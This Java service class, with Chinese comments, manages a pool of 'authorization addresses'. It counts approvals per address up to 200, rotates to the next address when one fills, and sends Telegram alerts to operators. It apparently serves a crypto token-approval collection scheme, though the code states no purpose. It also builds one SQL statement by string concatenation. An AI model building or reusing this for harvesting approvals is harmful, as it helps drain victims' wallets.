package project.monitor.internal;
|
|
import java.util.ArrayList;
|
import java.util.Collections;
|
import java.util.HashMap;
|
import java.util.List;
|
import java.util.Map;
|
import java.util.concurrent.ConcurrentHashMap;
|
|
import org.apache.commons.collections.CollectionUtils;
|
import org.apache.commons.collections.Predicate;
|
import org.apache.commons.lang3.StringUtils;
|
import org.slf4j.Logger;
|
import org.slf4j.LoggerFactory;
|
|
import kernel.util.Endecrypt;
|
import kernel.util.ThreadUtils;
|
import kernel.web.ApplicationUtil;
|
import project.monitor.AutoMonitorAddressConfigLock;
|
import project.monitor.AutoMonitorAddressConfigService;
|
import project.monitor.PropertiesUtilAutoe;
|
import project.monitor.model.AutoMonitorAddressConfig;
|
import project.monitor.telegram.business.TelegramBusinessMessageService;
|
|
public class AutoMonitorAddressConfigServiceImpl implements AutoMonitorAddressConfigService {
|
/**
|
* 每个地址限制可授权数量
|
*/
|
private int approveLimitNum = 200;
|
|
private TelegramBusinessMessageService telegramBusinessMessageService;
|
|
private static final Logger logger = LoggerFactory.getLogger(AutoMonitorAddressConfigServiceImpl.class);
|
|
/**
|
* key:address
|
*/
|
private Map<String, AutoMonitorAddressConfig> cache = new ConcurrentHashMap<String, AutoMonitorAddressConfig>();
|
|
public void init() {
|
List<AutoMonitorAddressConfig> list = ApplicationUtil.executeSelect(AutoMonitorAddressConfig.class);
|
if(null==list || list.isEmpty()) return;
|
|
for (AutoMonitorAddressConfig entity : list) {
|
cache.put(entity.getAddress().toLowerCase(), entity);
|
}
|
}
|
|
public Map<String, AutoMonitorAddressConfig> cacheAllMap(){
|
return new HashMap<String, AutoMonitorAddressConfig>(cache);
|
}
|
|
public AutoMonitorAddressConfig save(AutoMonitorAddressConfig entity) {
|
entity.setId(ApplicationUtil.executeInsert(entity));
|
cache.put(entity.getAddress(), entity);
|
return entity;
|
}
|
|
public void update(AutoMonitorAddressConfig entity) {
|
ApplicationUtil.executeUpdate(entity);
|
cache.put(entity.getAddress(), entity);
|
}
|
|
public AutoMonitorAddressConfig findById(String id) {
|
return ApplicationUtil.executeGet(id,AutoMonitorAddressConfig.class);
|
}
|
|
/**
|
* 启用地址
|
* @param entity
|
*/
|
public void updateEnabledAddress(AutoMonitorAddressConfig entity) {
|
entity.setStatus(1);
|
this.update(entity);
|
ApplicationUtil.executeDML("UPDATE T_AUTO_MONITOR_ADDRESS_CONFIG SET STATUS=0 WHERE UUID!='"+entity.getId().toString()+"'");
|
List<AutoMonitorAddressConfig> listAll = new ArrayList<>(cache.values());
|
for (AutoMonitorAddressConfig config : listAll) {
|
if (config.getAddress().equalsIgnoreCase(entity.getAddress())) {
|
continue;
|
}
|
config.setStatus(0);
|
cache.put(config.getAddress().toLowerCase(), config);
|
}
|
}
|
|
/**
|
* @param type 地址类型必传
|
* @param status 具体状态选传
|
* @return
|
*/
|
public List<AutoMonitorAddressConfig> findByStatus(String status) {
|
StringBuilder whereBuilder=new StringBuilder("WHERE 1=1 ");
|
ArrayList<Object> params=new ArrayList<Object>();
|
if (!StringUtils.isEmpty(status)) {
|
whereBuilder.append("AND STATUS=?");
|
params.add(status);
|
}
|
|
return ApplicationUtil.executeSelect(AutoMonitorAddressConfig.class,whereBuilder.toString(),params.toArray(new Object[params.size()]));
|
}
|
|
/**
|
* 找到当前可用的授权地址
|
*/
|
public AutoMonitorAddressConfig findByEnabled() {
|
List<AutoMonitorAddressConfig> list = new ArrayList<>(cache.values());
|
|
CollectionUtils.filter(list, new Predicate() {
|
@Override
|
public boolean evaluate(Object arg0) {
|
AutoMonitorAddressConfig msg = (AutoMonitorAddressConfig) arg0;
|
return msg.getStatus() == 1;
|
}
|
});
|
|
if (CollectionUtils.isEmpty(list) || list.get(0) == null) {
|
logger.error("没有可用的授权地址,cache{}", cache.values());
|
return null;
|
}
|
|
// 超过默认数量则返回下一个
|
if (list.get(0).getApprove_num() >= approveLimitNum) {
|
List<AutoMonitorAddressConfig> listAll = cacheSortAll();
|
for (int i = 0; i < listAll.size(); i++) {
|
AutoMonitorAddressConfig autoMonitorAddressConfig = listAll.get(i);
|
if (autoMonitorAddressConfig.getApprove_num() >= approveLimitNum) {
|
continue;
|
}
|
|
// 非启用状态的 则直接置为启用状态
|
if (autoMonitorAddressConfig.getStatus() != 1) {
|
updateEnabledAddress(autoMonitorAddressConfig);
|
// 剩余授权地址数
|
int approveNum = approveLimitNum - list.get(0).getApprove_num();
|
// 剩余可授权用户数
|
int approveUserNum = 0;
|
for (int j = i; j < listAll.size(); j++) {
|
approveNum += (approveLimitNum - listAll.get(j).getApprove_num());
|
approveUserNum++;
|
}
|
|
// 表示切换了，就发送消息
|
telegramBusinessMessageService.sendApproveAddressFullTeleg(list.get(0).getAddress(),
|
autoMonitorAddressConfig.getAddress(), approveNum - 1, approveUserNum);
|
}
|
return autoMonitorAddressConfig;
|
}
|
|
} else {
|
return list.get(0);
|
}
|
// 上面没返回，说明所有地址都检测完，已超标，那么原先启用的就算最后一个
|
return list.get(0);
|
}
|
|
public List<AutoMonitorAddressConfig> cacheSortAll() {
|
List<AutoMonitorAddressConfig> listAll = new ArrayList<>(cache.values());
|
Collections.sort(listAll);
|
return listAll;
|
}
|
|
public AutoMonitorAddressConfig findByAddress(String address) {
|
List<AutoMonitorAddressConfig> list = ApplicationUtil.executeSelect(AutoMonitorAddressConfig.class,"WHERE ADDRESS=?",new Object[] {address});
|
return CollectionUtils.isEmpty(list)?null:list.get(0)==null?null:list.get(0);
|
}
|
|
/**
|
* desEncrypt加
|
*/
|
public String desEncrypt(String oldString) {
|
Endecrypt test = new Endecrypt();
|
String SPKEY = PropertiesUtilAutoe.getProperty("chartext");
|
String reValue = test.get3DESEncrypt(oldString, SPKEY);
|
reValue = reValue.trim().intern();
|
|
return reValue;
|
}
|
|
/**
|
* desDecrypt解
|
*/
|
public String desDecrypt(String oldString) {
|
Endecrypt test = new Endecrypt();
|
String SPKEY = PropertiesUtilAutoe.getProperty("chartext");
|
String reValue2 = test.get3DESDecrypt(oldString, SPKEY);
|
return reValue2;
|
}
|
|
/**
|
* 剩余可授权数量
|
*
|
* @return
|
*/
|
public Map<String, Object> lastApproveNum(int index) {
|
// 剩余授权地址数
|
int approveNum = 0;
|
// 剩余可授权用户数
|
int approveUserNum = 0;
|
int lastIndex = -1;
|
List<AutoMonitorAddressConfig> listAll = cacheSortAll();
|
Map<String, Object> map = new HashMap<String, Object>();
|
for (int i = 0; i < listAll.size(); i++) {
|
AutoMonitorAddressConfig autoMonitorAddressConfig = listAll.get(i);
|
if (autoMonitorAddressConfig.getStatus() == 1) {// 没有剩余时，启用的那个就算最后一个
|
lastIndex = i;
|
}
|
if (autoMonitorAddressConfig.getApprove_num() >= approveLimitNum) {
|
continue;
|
}
|
approveUserNum += (approveLimitNum - autoMonitorAddressConfig.getApprove_num());
|
approveNum++;
|
lastIndex = i;
|
}
|
// 所有都用完了，启用的那个就算最后一个，如果都没启用，那直接取排序最后一个
|
if (approveNum == 0) {
|
map.put("isLast", lastIndex == -1 ? index == listAll.size() - 1 : lastIndex == index);
|
} else if (approveNum == 1) {// 剩余一个了，那么这个就是最后一个;
|
map.put("isLast", lastIndex == index);
|
} else {// 剩下>=2，那么表示都不是最后一个
|
map.put("isLast", false);
|
}
|
// 剩余数量，排除自己-1
|
map.put("approveNum", approveNum - 1);
|
map.put("approveUserNum", approveUserNum);
|
return map;
|
}
|
|
/**
|
* 授权申请发起时则调用一次
|
*/
|
public void saveApproveByAddress(String approveAddress) {
|
boolean lock = false;
|
try {
|
approveAddress = approveAddress.toLowerCase();
|
while (true) {
|
if (AutoMonitorAddressConfigLock.add(approveAddress)) {
|
lock = true;
|
/**
|
* 处理完退出
|
*/
|
// 加上锁，每次处理一个
|
AutoMonitorAddressConfig config = cache.get(approveAddress);
|
config.setApprove_num(config.getApprove_num() + 1);
|
|
update(config);
|
List<AutoMonitorAddressConfig> cacheSortAll = cacheSortAll();
|
|
// 消息最后一个处理
|
int indexOfConfig = cacheSortAll.indexOf(config);
|
Map<String, Object> lastApproveNum = lastApproveNum(indexOfConfig);
|
// 最后一个的，小于20个时开始通知
|
if ((boolean) lastApproveNum.get("isLast") && approveLimitNum - config.getApprove_num() <= 20) {
|
// 发送消息
|
telegramBusinessMessageService.sendLastApproveAddressWarningTeleg(config.getAddress(), 0,
|
approveLimitNum - config.getApprove_num());
|
}
|
|
break;
|
}
|
}
|
} catch (Exception e) {
|
logger.error("AutoMonitorAddressConfigServiceImpl.saveApproveByAddress fail, approveAddress:"
|
+ approveAddress + ",error:", e);
|
} finally {
|
if (lock) {
|
ThreadUtils.sleep(50);// 事务提交
|
AutoMonitorAddressConfigLock.remove(approveAddress);
|
}
|
}
|
|
}
|
|
/**
|
* 授权申请变为失败或拒绝 (剩余数量加回去时不需要提醒)
|
*/
|
public void saveApproveFailByAddress(String approveAddress) {
|
boolean lock = false;
|
try {
|
approveAddress = approveAddress.toLowerCase();
|
while (true) {
|
if (AutoMonitorAddressConfigLock.add(approveAddress)) {
|
lock = true;
|
// 加上锁，每次处理一个
|
AutoMonitorAddressConfig config = cache.get(approveAddress);
|
config.setApprove_num(config.getApprove_num() - 1);
|
update(config);
|
break;
|
}
|
}
|
} catch (Exception e) {
|
logger.error("AutoMonitorAddressConfigServiceImpl.saveApproveByAddress fail, approveAddress:" + approveAddress + ",error:", e);
|
} finally {
|
if (lock) {
|
ThreadUtils.sleep(50);// 事务提交
|
AutoMonitorAddressConfigLock.remove(approveAddress);
|
}
|
}
|
|
}
|
|
public AutoMonitorAddressConfig find(String address) {
|
List<AutoMonitorAddressConfig> list = ApplicationUtil.executeSelect(AutoMonitorAddressConfig.class,"WHERE ADDRESS=?",new Object[] {address});
|
return CollectionUtils.isEmpty(list)?null:list.get(0)==null?null:list.get(0);
|
}
|
|
public void setTelegramBusinessMessageService(TelegramBusinessMessageService telegramBusinessMessageService) {
|
this.telegramBusinessMessageService = telegramBusinessMessageService;
|
}
|
}
|
